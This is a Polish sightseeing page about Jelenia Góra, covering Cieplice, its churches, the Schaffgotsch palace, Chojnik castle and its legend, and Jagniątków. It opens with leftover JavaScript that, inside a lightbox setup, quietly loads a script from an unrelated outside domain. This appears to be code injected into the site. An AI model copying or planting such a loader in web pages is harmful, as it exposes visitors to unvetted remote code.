, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Jelenia Góra

Zapraszamy do krótkiego spaceru po Jeleniej Górze.

Cieplice Zdrój

Historia Cieplic rozpoczyna się już w XIII wieku i od zawsze kojarzone były ze źródłami termalnymi. Przez wieki były one oddzielną miejscowością i dopiero ćwierć wieku emu zostały włączone w granice administracyjne Jeleniej Góry. Długi czas w swej histori Cieplice należały do rodziny Schaffgotschów, którzy wraz z przybyłymi tu cystersami od XVI wieku prowadzili tu działalność uzdrowiskową. Lata świetności Cieplic to przede wszystkim przełom XVIII i XIX wieku kiedy do uzdrowiska przybywali znamienici goście: literaci Karl von Holtei i E.T.A. Hoffmann czy malarz Caspar David Friedrich, Wincenty  Pol i Kornel Ujejski. Tuż przed rozpoczęciem II wojny światowej Cieplice otrzymały nawet prawa miejskie. Lata powojenne to stopniowe pomniejszanie znaczenia Cieplic aż do wchłonięcia go w 1975 roku przez Jelenią Górę. Przyszłość jak i przeszłość Cieplic nierozerwalnie związana jest ze źródłami termalnymi i działalnością uzdrowiskową.

Kościół św. Erazma i Pankracego

Kościół św. Erazma i Pankracego jest najstarszą świątynią w mieście, powstała w 1552 roku. Wewnątrz świątyni uwagę przyciąga potężny 22 metrowy ołtarz oraz bogato zdobione organy. Powstanie kościoła, jak głosi legenda, związana jest z osobą Bolesława Krzywoustego. W tym miejscu stał prawdopodobnie drewniany sięgający legendarnej daty 1108 roku kościółek.

Kościół Garnizonowy

Kościół Garnizonowy w Jeleniej Górze powstał w latach 1709 – 1718. Świątynia ta miała być reprezentacyjną budowlą sakralną, a jej architektem był Marcin Frantz. Została zbudowana w stylu barokowym na planie równoramiennego krzyża greckiego. Jest to budowla znacznych rozmiarów, gdyż jej długość wynosi 74 metry, a wysokość od posadzki po krzyż na kopule to 57 metrów.
Sklepienie kościoła ozdobione jest przepięknymi malowidłami w stylu późnego baroku. Ich autorami są Johann Hoffmann z Głogowa i Feliks Antoni Scheffler z Pragi. Dzieła ukazują zmartwychwstanie Chrystusa, wniebowstąpienie, adoracja Trójcy Świętej, wizerunki Ewangelistów,
postacie Apostołów.
Jako jeden z niewielu kościołów na świecie posiada organy umieszczone za ołtarzem a nie nad wejściem głównym. Są to wspaniałe 76 – głosowe barokowe organy o przepięknym brzmieniu.

Brama Wojanowska i Baszta Wojanowska

Brama Wojanowska i Baszta Wojanowska to pozostałości średniowiecznego kompleksu obronnego strzegącego drogi do Wojanowa. W 1480 roku doszło do tragicznego w skutkach wypadku. Pod wpływem silnego wiatru wieża przewróciła się i zginęło wówczas pięć osób. Niezwłocznie została odbudowana i wzbogacona o zegar i kopułę z latarnią, co zostało zachowane po dziś dzień. Brama Wojanowska niegdyś znajdowała się u wylotu obecnej ulicy Konopnickiej. W 1755 roku została wyburzona. Rok później w jej miejsce postawiono barokową bramę spełniającą funkcję porządkowo – rogatkową. Umieszczono na niej herb pruski, śląski, miejski oraz inskrypcję. W 1869 roku bramę rozebrano i przeniesiono do koszar przy ulicy Obrońców Pokoju. W 1998 roku wykonano renowację bramy i wówczas wróciła ona na dawne miejsce.

Pałac Schaffgotschów

Pierwsza budowla wzniesiona w tym miejscu została zbudowana w 1687 roku. W roku 1717 uległa zniszczeniu na skutek pożaru. Po pewnym czasie ten obiekt także uległ spaleniu. Dopiero w latach 1784 – 1788 zbudowano przepiękną, późnobarokową rezydencję rodziny Schaffgotschów. Projektantem tego monumentalnego pałacu był Jan Jerzy Rudolf. Front pałacu zdobią herby z piastowskimi orłami. Jest to obiekt trójkondygnacyjny z użytkowym poddaszem, podpiwniczony, nakryty dachem spadowym.Wnętrze pałacu do dnia dzisiejszego zachowało wiele oryginalnych elementów wyposażenia i dekoracji. Do 1945 roku pałac spełniał funkcje mieszkalne ale także znajdowały się w nim rodzinne zbiory Schaffgotschów. W stanie nienaruszonym pałac przetrwał II Wojnę Światową. W 1945 roku pierwszymi lokatorami pałacu zostali żołnierze Armii Krajowej. Wówczas zniszczeniu uległo wiele zabytkowych mebli, obrazów i cennych przedmiotów. Uciekający Niemcy ukryli w pałacu skrzynie z dziełami sztuki zrabowanymi w Polsce. Część z nich udało się uratować. W pałacu urządzono szpital polowy dla sowieckich żołnieży zarażonych chorobami wenerycznymi. Funkcjonował on do 1947 roku.
Pod koniec lat czterdziestych w pałacu urządzono „Dom wypoczynkowy dla Kancelarii Rady Państwa” pod nadzorem prof. Marcina Bukowskiego. Pałac funkcjonował jako dom wypoczynkowy w latach 1949 – 1952, jednakże Kancelaria Rady Państwa nigdy go nie przejęła a od 5 czerwca 1953 roku gospodarzem rezydencji rodziny Schaffgotschów był Związek Harcerstwa Polskiego. W latach pięćdziesiątych ostatecznie rozgrabiono pałac. W czasie działalności harcerzy prowadzono kursy i szkolenia ala także prace remontowe.
W 1975 roku w pałacu przy Placu Piastowskim otworzono Filię Politechniki Wrocławskiej. Wówczas zaadaptowano budynek do celów dydaktycznych. Nauka miała tu rozpocząć się dopiero w 1976 roku na dwóch pierwszych wydziałach – mechanicznym i elektrycznym.
Obecnie rezydencja rodziny Schaffgotschów zdobi swym urokiem Plac Piastowski w Cieplicach. Przeprowadzony remont budynku, nawierzchni placu oraz oświetlenia terenu wydobył z pałacu jego dawne piękno.

Zamek Chojnik

Zamek Chojnik położony jest na wysokiej, skalistej górze w malowniczej okolicy Sobieszowa. Posiada on nieregularną budowę powstałą na skutek stopniowej rozbudowy (zarówno z XIV jak i XVII wieku). Dlatego też ma kilka linii murów, które musiały na nowo otaczać dołączony do założenia zamkowego teren. Ruiny zamku są dobrze zachowane i pozwalają na odczytanie funkcji poszczególnych części budowli. Cały obiekt jest udostępniony do zwiedzania a gości przy wejściu wita para rycerska. Na dziedzińcu stoi oryginalny pręgierz z XVI wieku, można postrzelać z kuszy, zrobić zdjęcie w stroju rycerskim a także kupić wykonywany na miejscu denar Jagiełły. Warto zwiedzić także wysoką wierzę, gdyż z rozpościera się z niej niesamowity widok na okolicę. W chwili obecnej na zamku znajduje sie schronisko turystyczne.
Zamek został wzniesiony przez księcia świdnicko – jaworskiego Bolka II Małego w XIV wieku. Miał on chronić nowo zdobytych terenów przy granicy z Czechami. Przed jego powstaniem mieścił się tu drewniany dwór obronny, wykorzystywany do celów myśliwskich. Został wybudowany najprawdopodobniej za sprawą Bolka I Surowego.
Z historią zamku związana jest legenda o pięknej Kunegundzie z bogatego rycerskiego rodu, zamieszkałej na tym zamku. Była ona bardzo kapryśna i rozpuszczona. Wielu rycerzy starało się o jej rękę, ale Kunegunda postanowiła,że odda rękę temu, któremu uda się w pełnym rynsztunku objechać zamek konno dookoła. Zadanie to było jednak niemożliwe do wykonania, ponieważ znajdowały się tam bardzo strome skały i wielu rycerzy zginęło spadając w przepaść. Pewnego dnia pojawił się na zamku młody rycerz, który od razu spodobał się Kunegundzie i dla niego gotowa była zrezygnować ze swojego warunku. Jednakże odważny rycerz postanowił spróbować objechać zamek. Kapryśna Kunegunda wraz ze swym dworem z trwogą oczekiwali na straszliwy koniec. Ku zdumieniu wszystkich śmiałkowi udało się wyjść zwycięsko z tej próby. Tłum wiwatował a szczęśliwa Kunegundo pobiegła rzucić się rycerzowi na szyję. Śmiałek tylko odsunął się i rzekł, że nie chce za żonę tak okrutnej panny, przez którą zginęło wielu odważnych ludzi. Po tych słowach rycerz odjechał a Kunegunda zrozumiała swoje złe postępowanie. Dręczące sumienie nie dawał jej spokoju i pewnego dnia rzuciła sie w przepaść z wysokiej wierzy.

Jagniątków

Jagniątków (do 1945 niem. Agnetendorf) – dzielnica Jeleniej Góry, do lat 70. XX wieku wieś; od połowy XIX w. popularna miejscowość letniskowa i zimowiskowa. Zabudowa Jagniątkowa jest typowa dla podgórskich pensjonatów. Jagniątków założyli w 1650 czescy protestanci, którzy uchodząc przed prześladowaniami religijnymi przenieśli się na śląską stronę Karkonoszy. Zajmowali się chałupniczo tkactwem, a później również szlifowaniem szkła. Od 1907 aż do śmierci w 1946 mieszkał tu niemiecki noblista w dziedzinie literatury, Gerhart Hauptmann; w jego domu urządzono Muzeum Miejskie. Przez rok po wojnie Agnetendorf nazywał się Agnieszków, ale w roku 1946 zdecydowano zmienić nazwę na obecną (po łacinie agnes oznacza „jagnię”).Jagniątków jest doskonałym miejscem wypadowym w Karkonosze. Prowadzi stąd wiele szlaków pieszych jak i rowerowych. Mimo, iż to najwyżej położona dzielnica Jeleniej Góry, posiada bardzo dobrą komunikację autobusową z centrum.